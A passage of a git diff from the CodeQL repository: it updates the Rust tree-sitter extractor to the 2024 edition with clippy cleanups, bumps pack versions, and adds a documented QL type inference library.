index fba911e590fa..6bbda6dc83b8 100644
--- a/shared/tree-sitter-extractor/Cargo.toml
+++ b/shared/tree-sitter-extractor/Cargo.toml
@@ -1,12 +1,12 @@
 [package]
 name = "codeql-extractor"
 version = "0.2.0"
-edition = "2021"
+edition = "2024"
 authors = ["GitHub"]
 
 # When updating these dependencies, run `misc/bazel/3rdparty/update_cargo_deps.sh`
 [dependencies]
-flate2 = "1.0"
+flate2 = "1.1"
 globset = "0.4"
 tree-sitter = ">= 0.23.0"
 tracing = "0.1"
@@ -17,10 +17,10 @@ encoding = "0.2"
 lazy_static = "1.5.0"
 serde = { version = "1.0", features = ["derive"] }
 serde_json = "1.0"
-chrono = { version = "0.4.39", features = ["serde"] }
+chrono = { version = "0.4.40", features = ["serde"] }
 num_cpus = "1.16.0"
 
 [dev-dependencies]
 tree-sitter-ql = "0.23.1"
 tree-sitter-json = "0.24.8"
-rand = "0.8.5"
+rand = "0.9.0"
diff --git a/shared/tree-sitter-extractor/rust-toolchain.toml b/shared/tree-sitter-extractor/rust-toolchain.toml
deleted file mode 100644
index fc7eb0871cd5..000000000000
--- a/shared/tree-sitter-extractor/rust-toolchain.toml
+++ /dev/null
@@ -1,7 +0,0 @@
-# This file specifies the Rust version used to develop and test the shared
-# extractor. It is set to the lowest version of Rust we want to support.
-
-[toolchain]
-channel = "1.74"
-profile = "minimal"
-components = [ "clippy", "rustfmt" ]
\ No newline at end of file
diff --git a/shared/tree-sitter-extractor/src/diagnostics.rs b/shared/tree-sitter-extractor/src/diagnostics.rs
index f4d6d75a79c5..3c41b85425e7 100644
--- a/shared/tree-sitter-extractor/src/diagnostics.rs
+++ b/shared/tree-sitter-extractor/src/diagnostics.rs
@@ -124,7 +124,6 @@ impl LogWriter {
                 match std::fs::OpenOptions::new()
                     .create(true)
                     .append(true)
-                    .write(true)
                     .open(path)
                 {
                     Err(e) => {
diff --git a/shared/tree-sitter-extractor/src/extractor/mod.rs b/shared/tree-sitter-extractor/src/extractor/mod.rs
index fcefe87106cb..18a0cfc94520 100644
--- a/shared/tree-sitter-extractor/src/extractor/mod.rs
+++ b/shared/tree-sitter-extractor/src/extractor/mod.rs
@@ -7,13 +7,13 @@ use std::collections::BTreeSet as Set;
 use std::env;
 use std::path::Path;
 
+use tracing_subscriber::EnvFilter;
+use tracing_subscriber::Layer;
 use tracing_subscriber::filter::Filtered;
 use tracing_subscriber::fmt::format::DefaultFields;
 use tracing_subscriber::fmt::format::Format;
 use tracing_subscriber::layer::SubscriberExt;
 use tracing_subscriber::util::SubscriberInitExt;
-use tracing_subscriber::EnvFilter;
-use tracing_subscriber::Layer;
 use tree_sitter::{Language, Node, Parser, Range, Tree};
 
 pub mod simple;
@@ -591,11 +591,7 @@ impl<'a> Visitor<'a> {
                 }
             }
         }
-        if is_valid {
-            Some(args)
-        } else {
-            None
-        }
+        if is_valid { Some(args) } else { None }
     }
 
     fn type_matches(&self, tp: &TypeName, type_info: &node_types::FieldTypeInfo) -> bool {
@@ -615,7 +611,7 @@ impl<'a> Visitor<'a> {
             }
 
             node_types::FieldTypeInfo::ReservedWordInt(int_mapping) => {
-                return !tp.named && int_mapping.contains_key(&tp.kind)
+                return !tp.named && int_mapping.contains_key(&tp.kind);
             }
         }
         false
diff --git a/shared/tree-sitter-extractor/src/generator/dbscheme.rs b/shared/tree-sitter-extractor/src/generator/dbscheme.rs
index 67af94a4dab8..fd690f57a72f 100644
--- a/shared/tree-sitter-extractor/src/generator/dbscheme.rs
+++ b/shared/tree-sitter-extractor/src/generator/dbscheme.rs
@@ -48,7 +48,7 @@ pub enum DbColumnType {
     String,
 }
 
-impl<'a> fmt::Display for Case<'a> {
+impl fmt::Display for Case<'_> {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         writeln!(f, "case @{}.{} of", &self.name, &self.column)?;
         let mut sep = " ";
@@ -60,7 +60,7 @@ impl<'a> fmt::Display for Case<'a> {
     }
 }
 
-impl<'a> fmt::Display for Table<'a> {
+impl fmt::Display for Table<'_> {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         if let Some(keyset) = &self.keysets {
             write!(f, "#keyset[")?;
@@ -102,7 +102,7 @@ impl<'a> fmt::Display for Table<'a> {
     }
 }
 
-impl<'a> fmt::Display for Union<'a> {
+impl fmt::Display for Union<'_> {
     fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
         write!(f, "@{} = ", self.name)?;
         let mut first = true;
diff --git a/shared/tree-sitter-extractor/src/generator/mod.rs b/shared/tree-sitter-extractor/src/generator/mod.rs
index ea41f3190e61..d972e9fb128d 100644
--- a/shared/tree-sitter-extractor/src/generator/mod.rs
+++ b/shared/tree-sitter-extractor/src/generator/mod.rs
@@ -234,7 +234,7 @@ fn add_field_for_column_storage<'a>(
 /// 1. A vector of dbscheme entries.
 /// 2. A set of names of the members of the `<lang>_ast_node` union.
 /// 3. A map where the keys are the dbscheme names for token kinds, and the
-/// values are their integer representations.
+///    values are their integer representations.
 fn convert_nodes(
     nodes: &node_types::NodeTypeMap,
 ) -> (Vec<dbscheme::Entry>, Set<&str>, Map<&str, usize>) {
diff --git a/shared/tree-sitter-extractor/src/generator/ql.rs b/shared/tree-sitter-extractor/src/generator/ql.rs
index 5dfc2ec84069..8e899462ac39 100644
--- a/shared/tree-sitter-extractor/src/generator/ql.rs
+++ b/shared/tree-sitter-extractor/src/generator/ql.rs
@@ -8,7 +8,7 @@ pub enum TopLevel<'a> {
     Module(Module<'a>),
 }
 
-impl<'a> fmt::Display for TopLevel<'a> {
+impl fmt::Display for TopLevel<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         match self {
             TopLevel::Import(imp) => write!(f, "{}", imp),
@@ -24,7 +24,7 @@ pub struct Import<'a> {
     pub alias: Option<&'a str>,
 }
 
-impl<'a> fmt::Display for Import<'a> {
+impl fmt::Display for Import<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         write!(f, "import {}", &self.module)?;
         if let Some(name) = &self.alias {
@@ -43,7 +43,7 @@ pub struct Class<'a> {
     pub predicates: Vec<Predicate<'a>>,
 }
 
-impl<'a> fmt::Display for Class<'a> {
+impl fmt::Display for Class<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         if let Some(qldoc) = &self.qldoc {
             write!(f, "/** {} */", qldoc)?;
@@ -93,7 +93,7 @@ pub struct Module<'a> {
     pub body: Vec<TopLevel<'a>>,
 }
 
-impl<'a> fmt::Display for Module<'a> {
+impl fmt::Display for Module<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         if let Some(qldoc) = &self.qldoc {
             write!(f, "/** {} */", qldoc)?;
@@ -122,7 +122,7 @@ pub enum Type<'a> {
     Normal(&'a str),
 }
 
-impl<'a> fmt::Display for Type<'a> {
+impl fmt::Display for Type<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         match self {
             Type::Int => write!(f, "int"),
@@ -152,7 +152,7 @@ pub enum Expression<'a> {
     },
 }
 
-impl<'a> fmt::Display for Expression<'a> {
+impl fmt::Display for Expression<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         match self {
             Expression::Var(x) => write!(f, "{}", x),
@@ -246,7 +246,7 @@ pub struct Predicate<'a> {
     pub body: Expression<'a>,
 }
 
-impl<'a> fmt::Display for Predicate<'a> {
+impl fmt::Display for Predicate<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         if let Some(qldoc) = &self.qldoc {
             write!(f, "/** {} */", qldoc)?;
@@ -280,7 +280,7 @@ pub struct FormalParameter<'a> {
     pub param_type: Type<'a>,
 }
 
-impl<'a> fmt::Display for FormalParameter<'a> {
+impl fmt::Display for FormalParameter<'_> {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         write!(f, "{} {}", self.param_type, self.name)
     }
diff --git a/shared/tree-sitter-extractor/src/trap.rs b/shared/tree-sitter-extractor/src/trap.rs
index 4c061f8dbd82..4ad1e48eb6ba 100644
--- a/shared/tree-sitter-extractor/src/trap.rs
+++ b/shared/tree-sitter-extractor/src/trap.rs
@@ -25,6 +25,12 @@ pub struct Writer {
     location_labels: std::collections::HashMap<Location, Label>,
 }
 
+impl Default for Writer {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
 impl Writer {
     pub fn new() -> Writer {
         Writer {
@@ -306,9 +312,9 @@ impl Compression {
 
 #[test]
 fn limit_string_test() {
-    assert_eq!("hello", limit_string(&"hello world".to_owned(), 5));
-    assert_eq!("hi ☹", limit_string(&"hi ☹☹".to_owned(), 6));
-    assert_eq!("hi ", limit_string(&"hi ☹☹".to_owned(), 5));
+    assert_eq!("hello", limit_string("hello world", 5));
+    assert_eq!("hi ☹", limit_string("hi ☹☹", 6));
+    assert_eq!("hi ", limit_string("hi ☹☹", 5));
 }
 
 #[test]
diff --git a/shared/tree-sitter-extractor/tests/common/mod.rs b/shared/tree-sitter-extractor/tests/common/mod.rs
index f60f575a0a27..9871ae401c05 100644
--- a/shared/tree-sitter-extractor/tests/common/mod.rs
+++ b/shared/tree-sitter-extractor/tests/common/mod.rs
@@ -28,7 +28,7 @@ pub fn create_source_dir(files: Vec<(&'static str, &'static str)>) -> SourceArch
         let path = source_archive_dir.join(filename);
         let mut file = File::create(&path).unwrap();
         file.write_all(contents.as_bytes()).unwrap();
-        file_paths.push(PathBuf::from(path));
+        file_paths.push(path);
     }
 
     let file_list = {
@@ -69,5 +69,5 @@ pub fn expect_trap_file(root_dir: &Path, filename: &str) {
 fn create_dir(root: &Path, path: impl AsRef<Path>) -> PathBuf {
     let full_path = root.join(path);
     std::fs::create_dir_all(&full_path).expect("Failed to create directory");
-    full_path.into()
+    full_path
 }
diff --git a/shared/tree-sitter-extractor/tests/integration_test.rs b/shared/tree-sitter-extractor/tests/integration_test.rs
index cc453eeef741..2b243ff7945b 100644
--- a/shared/tree-sitter-extractor/tests/integration_test.rs
+++ b/shared/tree-sitter-extractor/tests/integration_test.rs
@@ -1,10 +1,8 @@
 use codeql_extractor::extractor::simple;
 use codeql_extractor::trap;
 
-use tree_sitter_ql;
-
 mod common;
-use common::{create_source_dir, expect_trap_file, SourceArchive};
+use common::{SourceArchive, create_source_dir, expect_trap_file};
 
 /// A very simple happy-path test.
 /// We run the extractor using the tree-sitter-ql grammar and a single source file,
diff --git a/shared/tree-sitter-extractor/tests/multiple_languages.rs b/shared/tree-sitter-extractor/tests/multiple_languages.rs
index f14100f6e0c7..2e45e56754a3 100644
--- a/shared/tree-sitter-extractor/tests/multiple_languages.rs
+++ b/shared/tree-sitter-extractor/tests/multiple_languages.rs
@@ -1,9 +1,8 @@
 use codeql_extractor::extractor::simple;
 use codeql_extractor::trap;
-use tree_sitter_ql;
 
 mod common;
-use common::{create_source_dir, expect_trap_file, SourceArchive};
+use common::{SourceArchive, create_source_dir, expect_trap_file};
 
 /// Like the `simple_extractor` test but with multiple languages.
 /// This is in a separate crate because the simple extractor API sets up a
diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md
index f61d21be5852..2f7a36a4d8b6 100644
--- a/shared/tutorial/CHANGELOG.md
+++ b/shared/tutorial/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/tutorial/change-notes/released/1.0.20.md b/shared/tutorial/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/tutorial/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/tutorial/codeql-pack.release.yml
+++ b/shared/tutorial/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml
index 2e070f053e43..3cbfb9b81503 100644
--- a/shared/tutorial/qlpack.yml
+++ b/shared/tutorial/qlpack.yml
@@ -1,7 +1,7 @@
 name: codeql/tutorial
 description: Library for the CodeQL detective tutorials, helping new users learn to
   write CodeQL queries.
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 warnOnImplicitThis: true
diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md
index dbbac850f625..4c72a93118ed 100644
--- a/shared/typeflow/CHANGELOG.md
+++ b/shared/typeflow/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/typeflow/change-notes/released/1.0.20.md b/shared/typeflow/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/typeflow/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/typeflow/codeql-pack.release.yml
+++ b/shared/typeflow/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml
index d0990f3049f7..974e866403fc 100644
--- a/shared/typeflow/qlpack.yml
+++ b/shared/typeflow/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/typeflow
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md
new file mode 100644
index 000000000000..59b60bad0f37
--- /dev/null
+++ b/shared/typeinference/CHANGELOG.md
@@ -0,0 +1,3 @@
+## 0.0.1
+
+No user-facing changes.
diff --git a/shared/typeinference/change-notes/released/0.0.1.md b/shared/typeinference/change-notes/released/0.0.1.md
new file mode 100644
index 000000000000..59b60bad0f37
--- /dev/null
+++ b/shared/typeinference/change-notes/released/0.0.1.md
@@ -0,0 +1,3 @@
+## 0.0.1
+
+No user-facing changes.
diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml
new file mode 100644
index 000000000000..c6933410b71c
--- /dev/null
+++ b/shared/typeinference/codeql-pack.release.yml
@@ -0,0 +1,2 @@
+---
+lastReleaseVersion: 0.0.1
diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll
new file mode 100644
index 000000000000..c8eabda8872b
--- /dev/null
+++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll
@@ -0,0 +1,830 @@
+/**
+ * Provides shared functionality for computing type inference in QL.
+ *
+ * The code examples in this file use C# syntax, but the concepts should
+ * carry over to other languages as well.
+ *
+ * The library is initialized in two phases: `Make1`, which constructs
+ * the `TypePath` type, and `Make2`, which (using `TypePath` in the input
+ * signature) constructs the `Matching` module.
+ */
+
+private import codeql.util.Location
+
+/** Provides the input to `Make1`. */
+signature module InputSig1<LocationSig Location> {
+  /**
+   * A type without type arguments.
+   *
+   * For example `int` or ``IEnumerable`1``.
+   */
+  class Type {
+    /** Gets a type parameter of this type, if any. */
+    TypeParameter getATypeParameter();
+
+    /** Gets a textual representation of this type. */
+    string toString();
+
+    /** Gets the location of this type. */
+    Location getLocation();
+  }
+
+  /** A type parameter. */
+  class TypeParameter extends Type;
+
+  /**
+   * Gets the unique identifier of type parameter `tp`.
+   *
+   * This is used to represent type paths `.`-separated type parameter
+   * identifiers.
+   */
+  int getTypeParameterId(TypeParameter tp);
+
+  /**
+   * A type argument position, for example an integer.
+   *
+   * Type argument positions are used when type arguments are supplied explicitly,
+   * for example in a method call like `M<int>()` the type argument `int` is at
+   * position `0`.
+   */
+  bindingset[this]
+  class TypeArgumentPosition {
+    /** Gets the textual representation of this position. */
+    bindingset[this]
+    string toString();
+  }
+
+  /** A type parameter position, for example an integer. */
+  bindingset[this]
+  class TypeParameterPosition {
+    /** Gets the textual representation of this position. */
+    bindingset[this]
+    string toString();
+  }
+
+  /** Holds if `tapos` and `tppos` match. */
+  bindingset[tapos]
+  bindingset[tppos]
+  predicate typeArgumentParameterPositionMatch(
+    TypeArgumentPosition tapos, TypeParameterPosition tppos
+  );
+
+  /**
+   * Gets the limit on the length of type paths. Set to `none()` if there should
+   * be no limit.
+   *
+   * Having a limit can be useful to avoid inifinite recursion on malformed
+   * programs.
+   */
+  default int getTypePathLimit() { result = 10 }
+}
+
+module Make1<LocationSig Location, InputSig1<Location> Input1> {
+  private import Input1
+
+  private module TypeParameter {
+    private import codeql.util.DenseRank
+
+    private module DenseRankInput implements DenseRankInputSig {
+      class Ranked = TypeParameter;
+
+      predicate getRank = getTypeParameterId/1;
+    }
+
+    private int getTypeParameterRank(TypeParameter tp) {
+      tp = DenseRank<DenseRankInput>::denseRank(result)
+    }
+
+    string encode(TypeParameter tp) { result = getTypeParameterRank(tp).toString() }
+
+    bindingset[s]
+    TypeParameter decode(string s) { encode(result) = s }
+  }
+
+  final private class String = string;
+
+  /**
+   * A path into a type.
+   *
+   * Paths are represented in left-to-right order, for example, a path `"A0.B1"`
+   * into the type `A<B<S,T>,C<U,V>>` points at the type `T`, assuming that the
+   * first type parameter of `A` is named `A0` and the second type parameter of
+   * `B` is named `B1`.
+   *
+   * Type paths are used to represent constructed types without using a `newtype`, which
+   * makes it practically feasible to do type inference in mutual recursion with call
+   * resolution.
+   *
+   * As an example, the type above can be represented by the following set of
+   * tuples, if assuming the same naming convention for type parameters as
+   * above:
+   *
+   * `TypePath`  | `Type`
+   * ----------- | --------
+   * `""`        | ``A`2``
+   * `"A0"`      | ``B`2``
+   * `"A0.B0"`   | `S`
+   * `"A0.B1"`   | `T`
+   * `"A1"`      | ``C`2``
+   * `"A1.C0"`   | `U`
+   * `"A1.C1"`   | `V`
+   *
+   * Note that while we write type paths using type parameter names, the actual
+   * implementation uses unique type parameter identifiers, in order to not mix
+   * up type parameters from different types.
+   */
+  class TypePath extends String {
+    bindingset[this]
+    TypePath() { exists(this) }
+
+    bindingset[this]
+    private TypeParameter getTypeParameter(int i) {
+      result = TypeParameter::decode(this.splitAt(".", i))
+    }
+
+    /** Gets a textual representation of this type path. */
+    bindingset[this]
+    string toString() {
+      result =
+        concat(int i, TypeParameter tp |
+          tp = this.getTypeParameter(i)
+        |
+          tp.toString(), "." order by i
+        )
+    }
+
+    /** Holds if this type path is empty. */
+    predicate isEmpty() { this = "" }
+
+    /** Gets the length of this path. */
+    bindingset[this]
+    pragma[inline_late]
+    int length() {
+      this.isEmpty() and result = 0
+      or
+      result = strictcount(this.indexOf(".")) + 1
+    }
+
+    /** Gets the path obtained by appending `suffix` onto this path. */
+    bindingset[suffix, result]
+    bindingset[this, result]
+    bindingset[this, suffix]
+    TypePath append(TypePath suffix) {
+      if this.isEmpty()
+      then result = suffix
+      else
+        if suffix.isEmpty()
+        then result = this
+        else (
+          result = this + "." + suffix and
+          not result.length() > getTypePathLimit()
+        )
+    }
+
+    /** Holds if this path starts with `tp`, followed by `suffix`. */
+    bindingset[this]
+    predicate isCons(TypeParameter tp, TypePath suffix) {
+      tp = TypeParameter::decode(this) and
+      suffix.isEmpty()
+      or
+      exists(int first |
+        first = min(this.indexOf(".")) and
+        suffix = this.suffix(first + 1) and
+        tp = TypeParameter::decode(this.prefix(first))
+      )
+    }
+  }
+
+  /** Provides predicates for constructing `TypePath`s. */
+  module TypePath {
+    /** Gets the empty type path. */
+    TypePath nil() { result.isEmpty() }
+
+    /** Gets the singleton type path `tp`. */
+    TypePath singleton(TypeParameter tp) { result = TypeParameter::encode(tp) }
+
+    /**
+     * Gets the type path obtained by appending the singleton type path `tp`
+     * onto `suffix`.
+     */
+    bindingset[result]
+    bindingset[suffix]
+    TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) }
+  }
+
+  /** Provides the input to `Make2`. */
+  signature module InputSig2 {
+    /** A type mention, for example a type annotation in a local variable declaration. */
+    class TypeMention {
+      /**
+       * Gets the type being mentioned at `path` inside this type mention.
+       *
+       * For example, in
+       *
+       * ```csharp
+       * C<int> x = ...
+       * ```
+       *
+       * the type mention in the declaration of `x` resolves to the following
+       * types:
+       *
+       * `TypePath` | `Type`
+       * ---------- | -------
+       * `""`       | ``C`1``
+       * `"0"`      | `int`
+       */
+      Type resolveTypeAt(TypePath path);
+
+      /** Gets a textual representation of this type mention. */
+      string toString();
+
+      /** Gets the location of this type mention. */
+      Location getLocation();
+    }
+
+    /**
+     * Gets a base type mention of `t`, if any. Example:
+     *
+     * ```csharp
+     * class C<T> : Base<T>, Interface { }
+     * //    ^ `t`
+     * //           ^^^^^^^ `result`
+     * //                    ^^^^^^^^^ `result`
+     * ```
+     */
+    TypeMention getABaseTypeMention(Type t);
+  }
+
+  module Make2<InputSig2 Input2> {
+    private import Input2
+
+    /** Gets the type at the empty path of `tm`. */
+    bindingset[tm]
+    pragma[inline_late]
+    private Type resolveTypeMentionRoot(TypeMention tm) {
+      result = tm.resolveTypeAt(TypePath::nil())
+    }
+
+    /** Provides logic related to base types. */
+    private module BaseTypes {
+      /**
+       * Holds if `baseMention` is a (transitive) base type mention of `sub`,
+       * and `t` is mentioned (implicitly) at `path` inside `baseMention`. For
+       * example, in
+       *
+       * ```csharp
+       * class C<T1> { }
+       *
+       * class Base<T2> { }
+       *
+       * class Mid<T3> : Base<C<T3>> { }
+       *
+       * class Sub<T4> : Mid<C<T4>> { } // Sub<T4> extends Base<C<C<T4>>
+       * ```
+       *
+       * - ``C`1`` is mentioned at `T2` for immediate base type mention `Base<C<T3>>`
+       *   of `Mid`,
+       * - `T3` is mentioned at `T2.T1` for immediate base type mention `Base<C<T3>>`
+       *   of `Mid`,
+       * - ``C`1`` is mentioned at `T3` for immediate base type mention `Mid<C<T4>>`
+       *   of `Sub`,
+       * - `T4` is mentioned at `T3.T1` for immediate base type mention `Mid<C<T4>>`
+       *   of `Sub`,
+       * - ``C`1`` is mentioned at `T2` and implicitly at `T2.T1` for transitive base type
+       *   mention `Base<C<T3>>` of `Sub`, and
+       * - `T4` is mentioned implicitly at `T2.T1.T1` for transitive base type mention
+       *   `Base<C<T3>>` of `Sub`.
+       */
+      pragma[nomagic]
+      predicate baseTypeMentionHasTypeAt(Type sub, TypeMention baseMention, TypePath path, Type t) {
+        exists(TypeMention immediateBaseMention |
+          pragma[only_bind_into](immediateBaseMention) =
+            getABaseTypeMention(pragma[only_bind_into](sub))
+        |
+          // immediate base class
+          baseMention = immediateBaseMention and
+          t = immediateBaseMention.resolveTypeAt(path)
+          or
+          // transitive base class
+          exists(Type immediateBase | immediateBase = resolveTypeMentionRoot(immediateBaseMention) |
+            baseTypeMentionHasNonTypeParameterAt(immediateBase, baseMention, path, t)
+            or
+            exists(TypePath path0, TypePath prefix, TypePath suffix, TypeParameter tp |
+              /*
+               * Example:
+               *
+               * - `prefix = "T2.T1"`,
+               * - `path0 = "T3"`,
+               * - `suffix = ""`,
+               * - `path = "T2.T1"`
+               *
+               * ```csharp
+               * class C<T1> { }
+               *       ^ `t`
+               *
+               * class Base<T2> { }
+               *
+               * class Mid<T3> : Base<C<T3>> { }
+               * //    ^^^ `immediateBase`
+               * //        ^^ `tp`
+               * //              ^^^^^^^^^^^ `baseMention`
+               *
+               * class Sub<T4> : Mid<C<T4>> { }
+               * //    ^^^ `sub`
+               * //              ^^^^^^^^^^ `immediateBaseMention`
+               * ```
+               */
+
+              baseTypeMentionHasTypeParameterAt(immediateBase, baseMention, prefix, tp) and
+              t = immediateBaseMention.resolveTypeAt(path0) and
+              path0.isCons(tp, suffix) and
+              path = prefix.append(suffix)
+            )
+          )
+        )
+      }
+
+      pragma[inline]
+      predicate baseTypeMentionHasNonTypeParameterAt(
+        Type sub, TypeMention baseMention, TypePath path, Type t
+      ) {
+        not t = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, path, t)
+      }
+
+      pragma[inline]
+      predicate baseTypeMentionHasTypeParameterAt(
+        Type sub, TypeMention baseMention, TypePath path, TypeParameter tp
+      ) {
+        tp = sub.getATypeParameter() and baseTypeMentionHasTypeAt(sub, baseMention, path, tp)
+      }
+    }
+
+    private import BaseTypes
+
+    /** Provides the input to `Matching`. */
+    signature module MatchingInputSig {
+      /**
+       * A position inside a declaration. For example, the integer position of a
+       * parameter inside a method or the return type of a method.
+       */
+      bindingset[this]
+      class DeclarationPosition {
+        /** Gets a textual representation of this position. */
+        bindingset[this]
+        string toString();
+      }
+
+      /** A declaration, for example a method. */
+      class Declaration {
+        /** Gets a textual representation of this declaration. */
+        string toString();
+
+        /** Gets the location of this declaration. */
+        Location getLocation();
+
+        /** Gets the type parameter at position `tppos` of this declaration, if any. */
+        TypeParameter getTypeParameter(TypeParameterPosition tppos);
+
+        /**
+         * Gets the declared type of this declaration at `path` for position `dpos`.
+         *
+         * For example, if this declaration is the method `int M(bool b)`,
+         * then the declared type at parameter position `0` is `bool`, the
+         * declared type at the `this` position is the class type, and the
+         * declared return type is `int`.
+         */
+        Type getDeclaredType(DeclarationPosition dpos, TypePath path);
+      }
+
+      /**
+       * A position inside an access. For example, the integer position of an
+       * argument inside a method call.
+       */
+      bindingset[this]
+      class AccessPosition {
+        /** Gets a textual representation of this position. */
+        bindingset[this]
+        string toString();
+      }
+
+      /** An access that targets a declaration, for example a method call. */
+      class Access {
+        /** Gets a textual representation of this access. */
+        string toString();
+
+        /** Gets the location of this access. */
+        Location getLocation();
+
+        /**
+         * Gets the type at `path` for the type argument at position `tapos` of
+         * this access, if any.
+         *
+         * For example, in a method call like `M<int>()`, `int` is an explicit
+         * type argument at position `0`.
+         */
+        Type getTypeArgument(TypeArgumentPosition tapos, TypePath path);
+
+        /**
+         * Gets the inferred type at `path` for the position `apos` of this access.
+         *
+         * For example, if this access is the method call `M(42)`, then the inferred
+         * type at argument position `0` is `int`.
+         */
+        Type getInferredType(AccessPosition apos, TypePath path);
+
+        /** Gets the declaration that this access targets. */
+        Declaration getTarget();
+      }
+
+      /** Holds if `apos` and `dpos` match. */
+      bindingset[apos]
+      bindingset[dpos]
+      predicate accessDeclarationPositionMatch(AccessPosition apos, DeclarationPosition dpos);
+
+      /**
+       * Holds if matching an inferred type `t` at `path` inside an access at `apos`
+       * against the declaration `target` means that the type should be adjusted to
+       * `tAdj` at `pathAdj`.
+       *
+       * For example, in
+       *
+       * ```csharp
+       * void M(int? i) {}
+       * M(42);
+       * ```
+       *
+       * the inferred type of `42` is `int`, but it should be adjusted to `int?`
+       * when matching against `M`.
+       */
+      bindingset[apos, target, path, t]
+      default predicate adjustAccessType(
+        AccessPosition apos, Declaration target, TypePath path, Type t, TypePath pathAdj, Type tAdj
+      ) {
+        pathAdj = path and
+        tAdj = t
+      }
+    }
+
+    /**
+     * Provides logic for matching types at accesses against types at the
+     * declarations that the accesses target.
+     *
+     * Matching takes both base types and explicit type arguments into account.
+     */
+    module Matching<MatchingInputSig Input> {
+      private import Input
+
+      /**
+       * Holds if `a` targets `target` and the type for `apos` at `path` in `a`
+       * is `t` after adjustment by `target`.
+       */
+      pragma[nomagic]
+      private predicate adjustedAccessType(
+        Access a, AccessPosition apos, Declaration target, TypePath path, Type t
+      ) {
+        target = a.getTarget() and
+        exists(TypePath path0, Type t0 |
+          t0 = a.getInferredType(apos, path0) and
+          adjustAccessType(apos, target, path0, t0, path, t)
+        )
+      }
+
+      /**
+       * Gets the type of the type argument at `path` in `a` that corresponds to
+       * the type parameter `tp` in `target`, if any.
+       *
+       * Note that this predicate crucially does not depend on type inference,
+       * and hence can appear in negated position, e.g., as in
+       * `directTypeMatch`.
+       */
+      bindingset[a, target]
+      pragma[inline_late]
+      private Type getTypeArgument(Access a, Declaration target, TypeParameter tp, TypePath path) {
+        exists(TypeArgumentPosition tapos, TypeParameterPosition tppos |
+          result = a.getTypeArgument(tapos, path) and
+          tp = target.getTypeParameter(tppos) and
+          typeArgumentParameterPositionMatch(tapos, tppos)
+        )
+      }
+
+      /**
+       * Holds if the type `t` at `path` of `a` matches the type parameter `tp`
+       * of `target`.
+       */
+      pragma[nomagic]
+      private predicate directTypeMatch(
+        Access a, Declaration target, TypePath path, Type t, TypeParameter tp
+      ) {
+        not exists(getTypeArgument(a, target, tp, _)) and
+        exists(AccessPosition apos, DeclarationPosition dpos, TypePath pathToTypeParam |
+          tp = target.getDeclaredType(dpos, pathToTypeParam) and
+          accessDeclarationPositionMatch(apos, dpos) and
+          adjustedAccessType(a, apos, target, pathToTypeParam.append(path), t)
+        )
+      }
+
+      private module AccessBaseType {
+        /**
+         * Holds if inferring types at `a` might depend on the type at `path` of
+         * `apos` having `base` as a transitive base type.
+         */
+        private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) {
+          exists(Declaration target, DeclarationPosition dpos |
+            adjustedAccessType(a, apos, target, _, _) and
+            accessDeclarationPositionMatch(apos, dpos)
+          |
+            path.isEmpty() and declarationBaseType(target, dpos, base, _, _)
+            or
+            typeParameterConstraintHasTypeParameter(target, dpos, path, _, base, _, _)
+          )
+        }
+
+        pragma[nomagic]
+        private Type inferTypeAt(
+          Access a, AccessPosition apos, TypePath prefix, TypeParameter tp, TypePath suffix
+        ) {
+          relevantAccess(a, apos, prefix, _) and
+          exists(TypePath path0 |
+            result = a.getInferredType(apos, prefix.append(path0)) and
+            path0.isCons(tp, suffix)
+          )
+        }
+
+        /**
